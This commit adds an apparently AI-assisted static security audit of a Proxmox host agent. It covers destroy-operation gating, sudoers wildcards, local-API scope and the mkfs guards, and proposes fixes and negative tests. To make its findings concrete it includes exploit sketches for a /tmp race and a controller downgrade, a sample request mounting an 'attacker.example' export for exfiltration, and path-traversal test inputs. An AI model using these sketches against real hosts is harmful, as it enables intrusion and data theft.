docs: AUDIT — host-root + local-API blast radius (non-Proxmox-token axes)
Companion to CAMPAIGN-pool-effects: red-teams the four axes the pool campaign did not cover (provenance-gating of destructive ops, sudoers↔fine-gate coverage, local-API within-scope blast radius, mkfs/claim classifier, signed-vs-self-serve boundary). Verifies the v0.60.0 F1 fix is complete; finds no new HIGH/MED. One F1-sibling (stale-lock pool-blind reaper, LOW) + LOW/INFO defense-in-depth residuals. Read-only static trace against felhom-agent @cc93dae/v0.60.0. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,426 @@
|
||||
# AUDIT — host-root + local-API blast radius (the axes the pool campaign did not cover)
|
||||
|
||||
**Class:** Audit (static source trace + non-destructive verification). **Output is a findings doc — no agent
|
||||
code was written, no version bumped, no branch opened.**
|
||||
**Subject:** `felhom-agent` @ `main` = **`cc93dae` / v0.60.0** — read-only.
|
||||
**Prompt baseline note:** the prompt was authored against `55ade9e2` / v0.59.0; `main` had already advanced
|
||||
to **v0.60.0** (`b9356d6` + `cc93dae`) when this audit ran. **That is material to Strand A:** v0.60.0 is the
|
||||
commit that FIXED campaign-F1 (proof-of-launch destroy gating, F1a/b/c). This audit therefore *verifies the
|
||||
F1 fix* and hunts F1-siblings, rather than re-reporting F1 as open. Landmark line numbers in the prompt were
|
||||
reconfirmed against v0.60.0 source; where they shifted, the cited `file:line` is the v0.60.0 value.
|
||||
**Host:** felhom-pve (`demo-felhom`, 192.168.0.162) — **not touched** (see §5; the audit was 100% static, no
|
||||
live probe was needed to reach a verdict).
|
||||
**Method:** static source trace of the agent, cross-referenced against the stated trust boundaries in
|
||||
`documentation/architecture/{01,03,04}` and the sudoers/wrapper configs. Five strands (A–E), each
|
||||
independently traced, then the HIGH/MED-candidate findings re-verified by a second read of the cited source.
|
||||
|
||||
> **This audit does NOT re-cover the Proxmox-API-token axis** — the privilege map, pool containment,
|
||||
> out-of-pool 403s, and ListLXC pool-blindness (B1–B4) are shipped and validated in
|
||||
> **`CAMPAIGN-pool-effects-2026-07-01.md`** + **`SPIKE-pool-scoped-acl-2026-07-01.md`**. Those are cited, not
|
||||
> repeated. Campaign findings **F1–F6** are treated as known; this audit *extends* F1/F5 and adds new,
|
||||
> distinct findings on the other four axes.
|
||||
|
||||
## Headline
|
||||
|
||||
**No new HIGH or MED findings.** The four un-audited axes are in good shape:
|
||||
|
||||
- **Strand A (provenance):** the v0.60.0 F1 fix is **complete and airtight** for all four `DestroyLXC` paths.
|
||||
One F1-sibling remains (stale-lock recovery, LOW) — contained by the pool ACL today, re-arms only under a
|
||||
future broad/root token.
|
||||
- **Strand B (sudoers ↔ fine-gate):** the sudoers header's global claim ("the agent fine-validates every
|
||||
value before exec") **holds for all 10 aliases as wired**. Residuals are host-local defense-in-depth
|
||||
(fixed-name `/tmp` staging, LOW; un-self-gated bind helpers, INFO).
|
||||
- **Strand C (local-API within-scope):** identity self-scoping is structurally sound (the token's vmid is
|
||||
the only vmid ever used for an op). Storage-op *targets* are property-gated (role / data-bearing /
|
||||
namespace / regex), not ownership-bound — three INFO residuals (controller-swap downgrade; attacker-NAS
|
||||
mount; advisory dependent-guest scan = F5).
|
||||
- **Strand D (mkfs / claim classifier):** fail-safe on every gather **error** path; the pvs/zpool trichotomy
|
||||
is correct. Three real weaknesses (all INFO/LOW): the guarded wrapper is an asymmetric subset of the
|
||||
classifier; `classifyClaim` reads an empty-but-successful lsblk as unclaimed; the blank-format path lacks
|
||||
the anti-retarget re-resolution AGENT-001 added to the data-bearing branch.
|
||||
- **Strand E (signed vs self-serve):** the boundary holds — signed executors are unreachable from the local
|
||||
API, nonces are durable + single-use + burned-before-execute, the operator key and escrow code are kept
|
||||
off the host. Two INFO comment/redundancy notes.
|
||||
|
||||
**Nothing hard-blocks the shared-box colleague trial** (every residual is contained by the pool-scoped token
|
||||
the trial ships with). The one item to close **before any broad/root-token deployment** is the stand-alone
|
||||
F1-sibling A1 (stale-lock reaper).
|
||||
|
||||
---
|
||||
|
||||
## Strand A — Provenance-gating of destructive host ops (generalizes campaign-F1)
|
||||
|
||||
**Verdict:** the v0.60.0 fix is complete for the four LXC-destroy paths. The reversibility gate remains a
|
||||
provenance *pass-through* (by design). One F1-sibling (stale-lock recovery) is pool-blind and re-arms under
|
||||
a broad token.
|
||||
|
||||
| Destructive op | Call site (file:line) | Gated on "this txn created/owns the target"? | Backstop if compromised | Verdict |
|
||||
|---|---|---|---|---|
|
||||
| `DestroyLXC` — bring-up rollback | `internal/reconcile/bringup.go:369` (`rollbackBringUp`; defer `bringup.go:210-219`) | **YES** — `launched` set only after `RestoreLXC` returns a UPID (`bringup.go:234`); `!launched` defer closes `OpFailed` w/o destroy (`:214-216`) | pool ACL + gate `Authorize` (`:363`) | **safe (F1a fixed)** |
|
||||
| `DestroyLXC` — restore-test teardown | `internal/reconcile/restoretest.go:412` (`teardownScratch`; defer `:186-192`) | **YES** — `launched` after UPID (`:243`); `!launched` → no destroy (`:187-191`) | pool ACL + gate (`:406`) | **safe (F1b fixed)** |
|
||||
| `DestroyLXC` — recover leaked scratch | `internal/reconcile/recover.go:144` (`recoverScratch`) | **YES** — `entry.UPID==""` abandon check hoisted **before** the Scratch dispatch (`recover.go:46-52` → `:59`) | pool ACL + `ListLXC` existence check + gate (`:136`) | **safe (F1c fixed)** |
|
||||
| `DestroyLXC` — recover half-built bring-up | `internal/reconcile/recover.go:203` (`recoverBringUp`) | **YES** — same `UPID==""`-first check (`:46-52` → `:69`) | pool ACL + existence check + gate (`:195`) | **safe (F1c fixed)** |
|
||||
| `Stop` (reconcile `ActionStop`) | `internal/reconcile/engine.go:173` | N/A — benign/reversible class (`ClassStop`, `classify.go`); planner unfed (EmptyProvider) | reversible (Start) | safe |
|
||||
| `Rollback` (snapshot, self-serve) | `internal/localapi/server.go:482` | self-scoped: `scopedFromBody` pins vmid=token (`:474`); not gate-routed | per-guest token scope | safe (self-scoped) |
|
||||
| `pct unlock` + `DeleteVzdumpSnapshot` + `Start` (stale-lock recovery) | `internal/localapi/stalelock.go:200`/`:208`/`:220`; reaper scans **all** guests via `ListLXC` (`:159-161`) | **NO** — acts on pre-existing guests found by a **pool-blind** scan; guard = lock-allowlist (`:27-30`) + no-vzdump-in-flight (`:87-97`), not ownership | **pool-scoped ACL only** | **F1-sibling (A1, LOW)** |
|
||||
| `Format`/mkfs (signed wipe) | `internal/signedjobs/wipe.go:106` | YES (resource) — durable-id resolve+re-derive+re-inspect (`wipe.go:74-99`) + `deviceUnclaimed` (`hostops.go:449`) + guarded wrapper (`:456`) | operator sig + unclaimed guard + wrapper | safe |
|
||||
| `Format`/mkfs (customer-confirmed / blank, local-API) | `internal/localapi/disks.go:727` (confirmed) / `:681` (blank) → `formatjob.go:116` | confirmed: durable-id-bound + re-resolve (`disks.go:697-714`); **blank: NOT re-resolved** — see Strand D (D3) | unclaimed guard + wrapper + role gate | safe (blank path = D3 caveat) |
|
||||
| `Vzdump` + `--prune-backups` | `internal/backup/runner.go:133` | vmid+storage-scoped, keep-last=N, local only, never PBS | self-vmid scope | safe |
|
||||
| `Unmount` (systemctl stop/disable `.mount`) | `internal/storage/hostops.go:331-339` (eject/decommission callers) | role-gated to user-data (`disks.go:404-408`), self-scoped; reversible | role gate + self-scope | safe |
|
||||
| `DetachBind` (`pct set --delete mpN`) | `internal/localapi/guestbind.go:88` (from `disks.go:432`) | self-scoped vmid + user-data role gate; data stays on drive | role gate + self-scope | safe |
|
||||
| `pct reboot` | `internal/localapi/guestbind.go:101` (from `disks.go:524`) | self-scoped (`withGuest`+`scopedFromBody`) | token scope | safe (self-DoS only) |
|
||||
| `SetDecommissioned` (signed decommission) | `internal/signedjobs/decommission.go:75` | metadata-only intent write; no destroy/detach/format | operator sig + durable-id binding | safe (not destructive) |
|
||||
| `rsync --delete` | — none in `internal/` (only a doc-comment in `hub/dr_recipe.go`) | N/A | N/A | **confirmed absent** |
|
||||
|
||||
**F1 fix — airtight.** `launched`/`entry.UPID` derives destroy authorization from a real `RestoreLXC` UPID
|
||||
rather than from vmid-existence + the ACL. A synchronous restore refusal ("already exists", no UPID)
|
||||
provably cannot reach a `DestroyLXC`. The accepted residual (a crash in the one-statement window between
|
||||
obtaining the UPID at `bringup.go:234`/`restoretest.go:243` and journaling it at `:235`/`:244`) leaks a
|
||||
half-built guest Recover won't reap — by design, and strictly preferable to destroying an innocent guest
|
||||
(CHANGELOG v0.60.0 "Accepted residual").
|
||||
|
||||
**A2 (INFO, architectural) — the gate does not verify provenance; it consumes it.** `Gate.Authorize`
|
||||
genuinely *blocks* (a Destructive disposition with no signed op → `pending_signature`, `gate.go:146-150`),
|
||||
but `Classify` trusts whatever `Provenance` the intent carries (`gate.go:135`), and that provenance is
|
||||
hardcoded by the call-site constructors `IntentForRollbackDestroy` (`SameTxnCreated:true`) /
|
||||
`IntentForScratchDestroy` (`AgentTaggedScratch:true`). There is no cross-check against the journal/UPID
|
||||
inside the gate. **This is exactly why campaign B1.3 saw a rollback-destroy classed benign while the guest
|
||||
pre-existed** — the pre-v0.60.0 call site asserted `SameTxnCreated:true` unconditionally and the gate
|
||||
faithfully honored it. v0.60.0 fixes the **call sites**, not the gate; the whole guarantee now lives in the
|
||||
`launched`/UPID discipline. Defensible (provenance is a caller-supplied, journal-derived fact the gate can't
|
||||
independently reconstruct), but it means the reversibility gate is effectively decorative for these
|
||||
self-authored teardowns — a future mislabel at a constructor would sail through. Worth a comment/guard, not
|
||||
a blocker. Duplicate-adjacent to F1's root cause.
|
||||
|
||||
**A1 (LOW, F1-sibling; extends F1, relates F6) — stale-lock recovery reaps by pool-blind scan, not
|
||||
ownership.** `RecoverStaleLockedGuests` (`stalelock.go:58`) iterates **every** guest from `ListLXC`
|
||||
(`:159-161`) at startup and, for any guest whose lock is in `{backup, snapshot-delete}` (`:27-30`) with no
|
||||
in-flight vzdump (`:87-97`), runs `pct unlock` (`:200`), deletes the vzdump snapshot (`:208`), and starts
|
||||
the guest if `onboot` (`:220`). Ownership is *assumed*, not proven. Contained today because the pool-scoped
|
||||
token makes `ListLXC` pool-only — precisely the containment F6 relied on.
|
||||
*Exploit sketch (exploit fully sequenced; precondition — a broad/root token — does not exist today, so
|
||||
verdict is LOW not HIGH):* shared host, agent redeployed with a broad token (F1's "re-arms it" precondition)
|
||||
→ a co-tenant's own backup tool leaves non-felhom guest 5000 with `lock: snapshot-delete` + a vzdump
|
||||
snapshot, in the window before its vzdump task is visible (so `BackupRunning` returns false, `:171-184`) →
|
||||
agent restart → reaper unlocks 5000, deletes its snapshot, force-starts it → the neighbor's in-progress
|
||||
backup is corrupted/aborted and its guest force-started. No felhom-customer data destroyed (hence LOW, not
|
||||
HIGH like F1). **Fix before any broad-token deployment:** restrict the scan to felhom-pool membership (or a
|
||||
fenced-root `pct list` cross-checked against the pool).
|
||||
|
||||
**Negative tests.** The F1 red-proof companions already exist (`TestRunBringUp_NoLaunchNoDestroy`,
|
||||
`TestRunRestoreTest_RestoreNoLaunchNoTeardown`, `TestRecover_{BringUp,Scratch}NoUPIDAbandoned`). Missing:
|
||||
`TestStaleLock_ForeignGuestNotReaped` — seed a non-pool guest with a stale lock + snapshot + no running
|
||||
vzdump, wire a broad-token fake, assert `Unlock`/`DeleteVzdumpSnapshot`/`Start` are **not** invoked.
|
||||
|
||||
---
|
||||
|
||||
## Strand B — OS-root sudoers surface ↔ in-agent fine-gate coverage
|
||||
|
||||
**Verdict:** the sudoers header's global claim holds for every one of the 10 aliases as currently wired.
|
||||
Every wildcard value reaching a `sudo -n` arg vector is (a) run through a validator before the vector is
|
||||
built, (b) an `int`-typed vmid, or (c) a fixed literal. Exec is always an arg vector (`privileged.go:61-71`),
|
||||
never a shell string, so a validated value cannot inject. Residuals are host-local defense-in-depth, none
|
||||
reachable within the in-guest/cross-customer (F1–F6) threat model.
|
||||
|
||||
Representative coverage (full per-grant trace held in the working notes; every grant confirmed gated):
|
||||
|
||||
| Alias / grant (wildcard) | Constructing call site (file:line) | Fine-gate (file:line) | Un-validated value reachable? |
|
||||
|---|---|---|---|
|
||||
| MOUNT `systemctl stop/disable -- *.mount` | `storage/hostops.go:336,339` (`Unmount`) | `UnitNameForMount(where)` → `ValidateMountPath` (`hostops.go:332`, `validate.go:156,83`) | No |
|
||||
| DISK `smartctl … /dev/sd[a-z]*` | `storage/hostops.go:351` | `ValidateSMARTDevice` (`hostops.go:348`, `validate.go:112`) | No |
|
||||
| DISK `lvs … -- *` | `storage/hostops.go:371` | `ValidateLVMName` ×2 (`hostops.go:362,366`) | No |
|
||||
| PROVISION `chown -R 100000:100000 …/guests/*` | `provision/backhalf.go:145` | path = `join(stateDir,"guests",itoa(vmid),"bootstrap")`, vmid `int` (`:134`) | No |
|
||||
| FORMAT `felhom-mkfs-guarded /dev/* *` | `storage/hostops.go:456` | `ValidateBlockDevice`+`ValidateFSType`+`deviceUnclaimed` (`:439,442,449`) + wrapper re-check | No |
|
||||
| DNSMASQ `install /tmp/felhom-resolver-*.conf …` | `lanresolver/lanresolver.go:266` | src = `os.CreateTemp` random (`:255`); dest via `sanitize(customerID)` (`:72`) | No |
|
||||
| GUESTHOOK `install -- /tmp/felhom-guest-hook.sh …/snippets/…` | `guesthook/install.go:45` | fixed dest; **fixed /tmp name** (`:40`) — see B1 | No value; TOCTOU |
|
||||
| GUESTHOOK `pct set [0-9]* --delete mp[0-9]*` | `localapi/guestbind.go:88` | vmid `int`; slot `mpN` from `guestSlotForPath` | No |
|
||||
| INTERMEDIARY `mount --bind /mnt/*/felhom-data /mnt/felhom-drives/*` | `localapi/intermediary.go:222` | both `*` derived from one `validGuestMountPath`-checked `where` (`disks.go:534`) | No (caller-gated; B3) |
|
||||
| INTERMEDIARY `install -- /tmp/felhom-shared-parent.sh …` | `localapi/intermediary.go:154,162` | fixed dest; **fixed /tmp name** (`:149,157`) — see B1 | No value; TOCTOU |
|
||||
| CONTROLLERSWAP `docker image inspect *` | `localapi/controllerswap.go:139` | `ValidControllerImage` (`:324,38`, regex `:35`) | No |
|
||||
| STALELOCK `pct unlock [0-9]*` | `localapi/stalelock.go:200` | vmid `int` from API `Guests()` | No (but see Strand A A1 for the *scan*, not the arg) |
|
||||
| NETMOUNT `rm -f /etc/systemd/system/mnt-felhom*` | `storage/netmount.go:416,419` | `reShareName` (`:399`); escaped unit always begins `mnt-felhom` | No |
|
||||
|
||||
**B1 (LOW — fixed-name `/tmp` staging TOCTOU; new, host-local).** `guesthook/install.go:40`
|
||||
(`/tmp/felhom-guest-hook.sh`) and `intermediary.go:149,157` (`/tmp/felhom-shared-parent.sh` + `.service`)
|
||||
stage root-executed scripts through **fixed, predictable** `/tmp` names via `os.WriteFile` (O_CREATE, no
|
||||
O_EXCL, follows symlinks), then `sudo install` them to a root-executed location (a PVE hookscript run at
|
||||
guest pre-start; a boot-time `ExecStart` script). `lanresolver.go:255` does this correctly with
|
||||
`os.CreateTemp` (random name) — the two above do not.
|
||||
*Exploit sketch (sequenced; precondition = a second non-root local account on the Proxmox host, which the
|
||||
standard Felhom host — root + `felhom-agent` only — does not provision, so LOW):* a local non-root user
|
||||
pre-creates `/tmp/felhom-guest-hook.sh` (owning it) → the agent's `os.WriteFile` opens/truncates the
|
||||
attacker-owned file and writes the snippet → the attacker rewrites the content between the agent's close and
|
||||
root's `install` → root copies attacker content into `/var/lib/vz/snippets/felhom-guest-hook.sh`, executed
|
||||
as **root** at the next guest pre-start. The sticky bit on `/tmp` blocks a *different* user from replacing
|
||||
the agent's file after creation, but not pre-creation of the predictable name. **Outside the F1–F6 threat
|
||||
model** (customer code runs in an unprivileged LXC and cannot see the host `/tmp`); relevant only if a
|
||||
colleague has a non-root shell on a shared box. **Fix:** mirror lanresolver's `os.CreateTemp`.
|
||||
|
||||
**B2 (INFO — bind helpers don't self-reject `..`).** `GuestBinder.AttachDrive`/`DetachDrive`
|
||||
(`intermediary.go:187,347`) do not self-validate `where` for traversal — `DriveNameFromRaw` (`:80`) rejects
|
||||
`/`, space, tab but **not** `..`. Safe today only because both callers gate (`validGuestMountPath`
|
||||
`disks.go:534` for attach; `roleForMountPath` exact-match `disks.go:353,404` for detach). A future third
|
||||
caller that skipped the gate would regress it. Defense-in-depth gap.
|
||||
|
||||
**B3 (INFO — coarser-than-needed wildcards).** The INTERMEDIARY bind's two `*` are grammatically independent
|
||||
in sudoers though the code always derives both from one validated `where`; CONTROLLERSWAP's
|
||||
`docker image inspect *` is broader than the single `controllerImageRe`-validated ref the agent ever sends.
|
||||
Code-tied today; could be pinned tighter (least-privilege).
|
||||
|
||||
**B4 (INFO — `privileged.go` forms absent from sudoers, fail-closed).** `internal/proxmox/privileged.go`
|
||||
retains `CreateGoldenLXC`→`pct create` (`:136`), `MountUSBByUUID`→`mount UUID=…` (`:148,151`),
|
||||
`Sensors`→`sensors -j` (`:181`). None appear in the sudoers file, so under the non-root `RunnerSudo` model
|
||||
these `sudo -n` calls are **denied → fail-closed**. The manifest comment (`capability/manifest.go:29-37`)
|
||||
explicitly excludes them as not-required. Capability/documentation gap, no escalation.
|
||||
|
||||
**B5 (INFO — dead grant).** `systemctl reload dnsmasq` (sudoers `:61`, manifest `dnsmasq-reload`) is never
|
||||
called — the code deliberately uses `restart` (`lanresolver.go:242`). Harmless; drop it.
|
||||
|
||||
**NoopHostOps (Q4) — always fail-safe.** Every degrade path returns an explicit error or a safe sentinel
|
||||
(`SMART`→UNKNOWN; `InspectDevice`→`Probed=false` ⇒ `DataBearing()=true` ⇒ a later format is refused). No
|
||||
silent destructive success anywhere (`hostops.go:540-557`). Surfaces with no Noop fallback fail-closed via a
|
||||
non-zero `sudo -n` exit.
|
||||
|
||||
**Manifest ⊆ sudoers (Q5).** `TestManifestCoveredBySudoers` (`manifest_test.go:122`, with dropped-grant
|
||||
red-proofs) proves the *presence* direction. Missing: the adversarial *unreachability* direction for the
|
||||
non-`SudoHostOps` wildcard constructors.
|
||||
|
||||
**Negative test (names the gap).** `TestWildcardGrantsUnreachableWithUnvalidatedInput` — a table over every
|
||||
sudoers wildcard, each row driving the *public* entry point (e.g. `handleDiskGuestAttach` with
|
||||
`where="/mnt/../etc"`, `POST /controller/swap` with `image="evil"`) against a recording runner, asserting
|
||||
(1) refusal and (2) no arg vector matching that alias's pattern. Today only `SudoHostOps` has an equivalent
|
||||
(`TestHostOps_RejectsHostileArgsBeforeExec`, `validate_test.go:130`); `GuestBinder`, `ControllerSwapper`,
|
||||
`lanresolver`, `netmount`, `stalelock` do not. This test would convert the header's global claim from
|
||||
asserted to proven and would immediately flag B2 if a handler gate were removed.
|
||||
|
||||
---
|
||||
|
||||
## Strand C — Local-API within-scope host blast radius
|
||||
|
||||
**Verdict:** identity self-scoping is structurally sound — the token's vmid is the only vmid ever used for a
|
||||
proxmox op (`server.go:365`); every body/query vmid is a pure consistency check (`server.go:357-364`,
|
||||
`scopedFromBody` `:381-389`) that 403s on mismatch and is never substituted in. **No handler re-reads
|
||||
`req.VMID` and uses it for the op** (traced: `handleSnapshot` `:450`, `handleRollback` `:482`, `handleBackup`
|
||||
`:521-545`, `handleGuestReboot` `disks.go:524`, `handleControllerSwap` `controllerswap.go:355`). The
|
||||
within-scope surface is wide because storage-op **targets** (`device`, `where`, `server:export`, `image`)
|
||||
are caller-supplied and gated by *properties* (role / data-bearing / namespace / regex), not ownership-bound
|
||||
to the guest — acceptable on a single-tenant box.
|
||||
|
||||
| Endpoint (route → handler file:line) | Worst host effect for OWN guest | Gate beyond self-scope | Residual |
|
||||
|---|---|---|---|
|
||||
| `POST /disks/format` (`server.go:282` → `disks.go:650`) | mkfs a blank device, or a customer-confirmed user-data device | agent device-inspection not caller claim (`disks.go:672`); role tier (`:702`); durable-id-bound confirm (`:714`); **`deviceUnclaimed`+`MkfsGuarded`** (`hostops.go:449,456`) | system/backup → operator-sig only; **cannot reach raw mkfs** (confirmed chain); blank path = D3 |
|
||||
| `POST /disks/eject` (`server.go:280` → `disks.go:332`) | detach a user-data drive's bind (data preserved) | user-data role gate, fail-safe→system (`disks.go:353-358`) | dependent-guest scan **advisory only** (`:359,375`) = **F5** |
|
||||
| `POST /disks/decommission` (`server.go:281` → `disks.go:386`) | logically retire + detach a user-data drive (no mkfs, `disks.go:442`) | same user-data role gate (`:404-409`) | same advisory scan (F5); self-DoS of own drive |
|
||||
| `POST /controller/swap` (`server.go:296` → `controllerswap.go:312`) | restart bootstrap onto a chosen felhom-controller semver | **`controllerImageRe` host+repo pinned** (`:35,324`); `imagePresent` (`:244`) | **version downgrade (C1)** |
|
||||
| `POST /netstorage/add` (`server.go:291` → `netstorage.go:53`) | root-mount an arbitrary NAS host-side under `/mnt/felhom-drives/*`, propagated into guest | namespace role gate (`netstorage.go:68-74`); `ValidateNetworkMountSpec` (`netmount.go:125`); creds path agent-set (`netstorage.go:88-94`) | **attacker-NAS mount (C2)** |
|
||||
| `POST /guest/reboot` (`server.go:287` → `disks.go:502`) | reboot own guest (`disks.go:524`) | vmid = token | self-DoS only; **no host-reboot primitive exists** |
|
||||
| `POST /snapshot` `/rollback` `/backup` `/disks/assign` `/disks/guest-attach` `/netstorage/remove` | own-guest snapshot/rollback/backup/mount/bind churn | charset/namespace validators; vmid = token | LOW/INFO self-inflicted |
|
||||
|
||||
**C1 (INFO, suspected — controller-swap version downgrade; new).** `controllerImageRe`
|
||||
(`^gitea\.dooplex\.hu/admin/felhom-controller:[0-9]+\.[0-9]+\.[0-9]+$`, `controllerswap.go:35`) is anchored
|
||||
and **pins the registry host + repo** — no look-alike-registry, digest, or metacharacter bypass exists (I
|
||||
reconfirmed the regex verbatim). But it accepts **any** semver; "latest-only" is enforced *only* caller-side
|
||||
(comment `:24-25`), not by the agent. A compromised controller could `docker pull …:<old-vuln-ver>` then
|
||||
`POST /controller/swap {"image":"…:0.40.0"}` → the agent rewrites `/etc/felhom-controller-image` and
|
||||
restarts the bootstrap unit (`:143-157,252-261`), running the downgraded image as the controller. It cannot
|
||||
run a *non-felhom* image, and the compromised controller already owns the guest's docker socket, so this is
|
||||
a downgrade-to-vulnerable within its own guest, **not** a host escalation. INFO. *Fix option:* an agent-side
|
||||
minimum-version floor.
|
||||
|
||||
**C2 (INFO, suspected — attacker-NAS host-side mount; new).** In `ValidateNetworkMountSpec`, `Server` is
|
||||
constrained only by `reNetServer = ^[A-Za-z0-9._:-]+$` (`netmount.go:100,134`) — any hostname/IP with no
|
||||
metacharacters; `Export` is a safe path/segment. The mountpoint is namespace-locked under
|
||||
`/mnt/felhom-drives` (`netmount.go:106-108`, re-checked `netstorage.go:68-74` and `netmount.go:344-346`), and
|
||||
the `credentials=` path is **agent-set, not caller-controllable** (`netstorage.go:87-95` — there is no
|
||||
caller `CredsRef` field, so the "creds pointing at a host file" attack is *closed*). What's free is the
|
||||
`server`/`export`: `POST /netstorage/add {"protocol":"nfs","server":"attacker.example","export":"/exfil",…}`
|
||||
→ the agent installs a root-triggered `.mount`/`.automount` for `attacker.example:/exfil` propagated into the
|
||||
guest. Worst case: (a) an attacker-controlled filesystem visible to the guest's media apps (exfil/poison
|
||||
target — only marginally novel since the guest already has network egress), and (b) the **host kernel
|
||||
NFS/CIFS client now talks to a hostile server** as root — a kernel-client attack surface. INFO. *Fix
|
||||
option:* an operator/allowlist gate on NAS server addresses for the shared-box case.
|
||||
|
||||
**C3 = campaign F5 (duplicate, not new).** `dependentGuests` (`disks.go:1026-1059`), called by eject
|
||||
(`:359`) and decommission (`:410`), only **returns** dependent VMIDs for a UI warning (`:375,443`) — it never
|
||||
blocks the detach. Harmless single-tenant; the shared-box residual is already tracked as F5.
|
||||
|
||||
**Negative tests.** (1) per mutating handler: body/query `vmid=token+1` → 403 with zero downstream call, and
|
||||
matching-vmid → mock called with the *token's* vmid; an AST guard that no handler references `req.VMID` after
|
||||
`scopedFromBody`. (2) `ValidControllerImage` reject-corpus (look-alike host, digest, `…:latest`, second tag)
|
||||
+ a **downgrade** assertion documenting `…:0.1.0` is currently accepted. (3) `ValidateNetworkMountSpec`
|
||||
rejects metachar `server`, `..` `export`, escaping `where`; assert no caller-settable `CredsRef`.
|
||||
(4) `handleDiskFormat` on a claimed device drives `SudoHostOps.Format` to the `deviceUnclaimed` refusal with
|
||||
zero `MkfsGuarded` exec.
|
||||
|
||||
---
|
||||
|
||||
## Strand D — mkfs / claim.go classifier robustness
|
||||
|
||||
**Verdict:** `classifyClaim` (`claim.go:61-89`) is fail-safe on **every gather ERROR path** (`gatherErr`,
|
||||
`!wholeDiskOK`, `isSystem`, `readonly` all refuse first, `:62-73`) and the pvs/zpool present/absent/error
|
||||
trichotomy is correct (absent ⇒ lsblk FSTYPE backstop; present-but-erroring ⇒ fail-safe claimed,
|
||||
`:145,163`). The symlink question is clean: no by-uuid symlink reaches mkfs — every device string is either
|
||||
`ValidateBlockDevice`-constrained to a raw node or an `EvalSymlinks`-canonical node, and the wrapper's `-L`
|
||||
reject (`felhom-mkfs-guarded.sh:24`) is a third backstop. Three real weaknesses:
|
||||
|
||||
**Gate side-by-side (what each catches, confirmed by reading both fully):**
|
||||
|
||||
| Claim class | `classifyClaim` (file:line) | wrapper `felhom-mkfs-guarded.sh` | Symmetric? |
|
||||
|---|---|---|---|
|
||||
| gather error / undeterminable topology | refuse (`claim.go:62-67`) | n/a (no notion of agent reads) | agent-only |
|
||||
| OS/system disk (`/`,`/boot`,`/boot/efi`) | `isSystem` fail-safe (`claim.go:68-70`) | YES — `/proc/mounts` whole-disk match (`:31-39`) | **both** |
|
||||
| read-only device (`/sys/.../ro`) | refuse (`claim.go:71-73`) | **NO** | agent-only |
|
||||
| LVM physical volume | pvs + lsblk `LVM2_member` (`claim.go:74-76,80-82`) | YES *iff* `command -v pvs` (PATH, not abs) succeeds (`:42-49`) | partial |
|
||||
| ZFS pool member | zpool + lsblk `zfs_member` (`claim.go:77-82`) | **NO** | agent-only |
|
||||
| mdraid / LUKS / swap member | lsblk FSTYPE (`claim.go:80-82`, `memberFSTypes`) | **NO** | agent-only |
|
||||
| mounted outside `/mnt/felhom-drives` | node check (`claim.go:84-86`) | YES — lsblk MOUNTPOINT (`:53-59`) | **both** |
|
||||
| symlink / by-uuid passed to mkfs | `ValidateBlockDevice` (`validate.go:122`) | YES — `-L`/`-b`/`..` (`:21-24`) | **both** |
|
||||
|
||||
**D1 (LOW — the guarded wrapper is an asymmetric subset; new, defense-in-depth).** The wrapper — whose
|
||||
entire purpose is to stop a *buggy/bypassed agent* (`.sh:5-9`) — re-checks only system-disk, LVM-PV (and only
|
||||
if `command -v pvs` resolves on PATH), and foreign-mount. If `classifyClaim` were bypassed, the wrapper would
|
||||
happily `mkfs` a ZFS vdev, an mdraid member, a LUKS container, an active-swap disk, or a read-only disk. The
|
||||
primary guard covers all of these; the second gate does not. I independently reconfirmed this against the
|
||||
wrapper source. *Fix:* add zfs_member/mdraid/LUKS/swap FSTYPE + `/sys` ro re-checks to the wrapper, and use
|
||||
an absolute `pvs` path (not `command -v`).
|
||||
|
||||
**D2 (INFO — `classifyClaim` reads an empty-but-successful lsblk as unclaimed; new, fail-safe hole).** A
|
||||
successful `lsblk` returning `{"blockdevices":[]}` yields zero nodes; the member/mount loop (`claim.go:80-88`)
|
||||
is skipped and `classifyClaim` returns `true,"unclaimed"`. There is **no `len(nodes)==0` guard and no
|
||||
assertion the target whole-disk appears among the nodes** (confirmed by reading `:80-89`). Fail-safety here
|
||||
rests on the untested assumption that real `lsblk` always *errors* (non-zero exit) on a bad device rather
|
||||
than emitting empty success — a gap in the "undeterminable ⇒ claimed" invariant. Pure-fn repro:
|
||||
`classifyClaim(claimFacts{device:"/dev/sdd", wholeDisk:"/dev/sdd", wholeDiskOK:true, nodes:nil})` →
|
||||
`(true,"unclaimed")`. *Fix:* refuse when `nodes` is empty or the target whole-disk is absent from the tree.
|
||||
|
||||
**D3 (INFO, suspected — blank-format path has no anti-retarget re-resolution; new, sharpest).**
|
||||
`handleDiskFormat` inspects `req.Device`; on `!probe.DataBearing()` it calls
|
||||
`startFormatDetached(req.Device, "", fstype)` → `Format(req.Device)` on the **mutable `/dev` path**
|
||||
(`disks.go:672-691`) — it does **not** re-resolve a durable id. AGENT-001 (v0.30.0) closed exactly this
|
||||
TOCTOU on the *data-bearing* branch (`wipe_reresolve.go`) but left the blank branch on the raw path. `Format`
|
||||
itself has no independent `DataBearing` gate — it only calls `deviceUnclaimed` (confirmed `hostops.go:438-461`),
|
||||
and its own comment (`:447`) asserts "the caller re-resolves the durable-id first" — **a precondition the
|
||||
blank path violates.** *Exploit sketch (suspected — needs a sub-second `/dev` reassignment):* a USB
|
||||
re-enumeration reassigns `/dev/sdX` between `InspectDevice` (`disks.go:672`) and the mkfs; if the disk now at
|
||||
that node is a data-bearing-but-*unclaimed* filesystem (a bare ext4/xfs/ntfs with real data, unmounted, no
|
||||
LVM/ZFS/RAID/LUKS — which `classifyClaim` passes because those FSTYPEs are not in `memberFSTypes` and it's
|
||||
not mounted, and the wrapper passes because it's not system/PV/mounted), it is formatted with **neither** the
|
||||
DataBearing customer-confirm **nor** any durable-id binding. Same class AGENT-001 closed, left open on the
|
||||
benign branch under the "a blank device has nothing to destroy" assumption that breaks under re-enumeration.
|
||||
*Fix:* give the blank branch the same durable-id re-derive as the confirmed branch (`disks.go:714`).
|
||||
|
||||
**Note (by design, not a hole):** an unmounted ext4/ntfs-with-data disk *is* "unclaimed" per `classifyClaim`
|
||||
(test asserts this) — acceptable **only because** every production caller enforces `DataBearing()` above
|
||||
`Format` (`disks.go:677` blank-gate, `wipe.go:95`, `wipe_reresolve.go:53`). D3 is the one place a race
|
||||
defeats that reliance.
|
||||
|
||||
